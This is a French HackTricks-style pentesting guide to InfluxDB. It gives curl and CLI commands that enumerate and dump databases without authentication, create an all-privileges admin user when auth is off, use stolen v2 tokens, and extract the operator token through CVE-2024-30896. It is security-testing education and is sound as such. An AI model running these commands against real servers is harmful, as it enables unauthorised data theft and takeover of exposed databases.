8086 - Pentesting InfluxDB

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

InfluxDB est une base de données de séries temporelles (TSDB) open-source développée par InfluxData. Les TSDB sont optimisées pour stocker et fournir des données de séries temporelles, qui se composent de paires horodatage-valeur. Par rapport aux bases de données à usage général, les TSDB offrent des améliorations significatives en termes d’espace de stockage et de performance pour les jeux de données de séries temporelles. Elles utilisent des algorithmes de compression spécialisés et peuvent être configurées pour supprimer automatiquement les anciennes données. Des indices de base de données spécialisés améliorent également les performances des requêtes.

Port par défaut : 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identification & Version (HTTP)

  • v1.x: GET /ping retourne le statut 204 et des en-têtes tels que X-Influxdb-Version et X-Influxdb-Build.
  • v2.x+: GET /health retourne du JSON avec la version du serveur et le statut. Fonctionne sans auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Astuce : les instances exposées servent souvent aussi des métriques de type Prometheus à /metrics.

Énumération

Du point de vue d’un pentester, c’est une autre base de données qui pourrait stocker des informations sensibles, donc il est intéressant de savoir comment dump toutes les informations.

Authentification

InfluxDB peut nécessiter une authentification ou non

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Si vous obtenez une erreur comme celle-ci : ERR: unable to parse authentication credentials cela signifie qu’il attend des credentials.

influx –username influx –password influx_pass

Il existait une vulnérabilité dans influxdb permettant de contourner l’authentification : CVE-2019-20933

Énumération manuelle (v1 HTTP API / InfluxQL)

Même si aucun CLI n’est disponible, l’HTTP API est généralement exposée sur le port 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

Lors de certains tests avec l’authentication bypass, il a été noté que le nom de la table devait être entre guillemets doubles comme : select * from "cpu"

Si l’authentication est désactivée, vous pouvez même créer des utilisateurs et escalate:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Les informations de l’exemple CLI suivant proviennent de here.

Afficher les bases de données

Les bases de données trouvées sont telegraf et internal (vous trouverez celle-ci partout)

> show databases
name: databases
name
----
telegraf
_internal

Afficher les tables/measurements

La InfluxDB documentation explique que les measurements dans InfluxDB peuvent être assimilées aux tables SQL. La nomenclature de ces measurements reflète leur contenu respectif, chacune contenant des données liées à une entité particulière.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Afficher les colonnes/clés de champ

Les clés de champ sont comme les colonnes de la base de données

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

Et enfin, vous pouvez dump the table en faisant quelque chose comme

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x introduit l’authentification par token et une nouvelle API (toujours sur 8086 par défaut). Si vous obtenez un token (leaked logs, default deployments, backups) vous pouvez énumérer :

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Remarques

  • Pour v1.8+, certains endpoints compatibles v2 existent (/api/v2/query, /api/v2/write, /health). Cela est utile si le serveur est en v1 mais accepte des requêtes au format v2.
  • Dans v2, l’en-tête HTTP Authorization doit être sous la forme Token <value>.

Énumération automatisée

msf6 > use auxiliary/scanner/http/influxdb_enum

Vulns récentes et privesc d’intérêt (ces dernières années)

  • InfluxDB OSS 2.x jusqu’à 2.7.11 : exposition du token opérateur (CVE-2024-30896). Dans des conditions spécifiques, un utilisateur authentifié avec accès en lecture à la ressource d’autorisation dans l’organisation par défaut pouvait lister et récupérer le token opérateur instance-wide (par ex. via influx auth ls ou GET /api/v2/authorizations). Avec ce token, l’attaquant peut administrer l’instance (buckets, tokens, users) et accéder à toutes les données à travers les organisations. Mettez à jour vers une build corrigée dès qu’elle est disponible et évitez de placer des utilisateurs réguliers dans l’organisation par défaut. Test rapide:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • De nombreux déploiements 1.x hérités exposent encore /query et /write non authentifiés sur Internet. Si l’authentification est désactivée, vous pouvez extraire ou même modifier les séries temporelles à volonté ; vous pouvez aussi créer des utilisateurs administrateurs comme montré ci‑dessus. Vérifiez toujours via l’HTTP API même si le CLI vous bloque.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks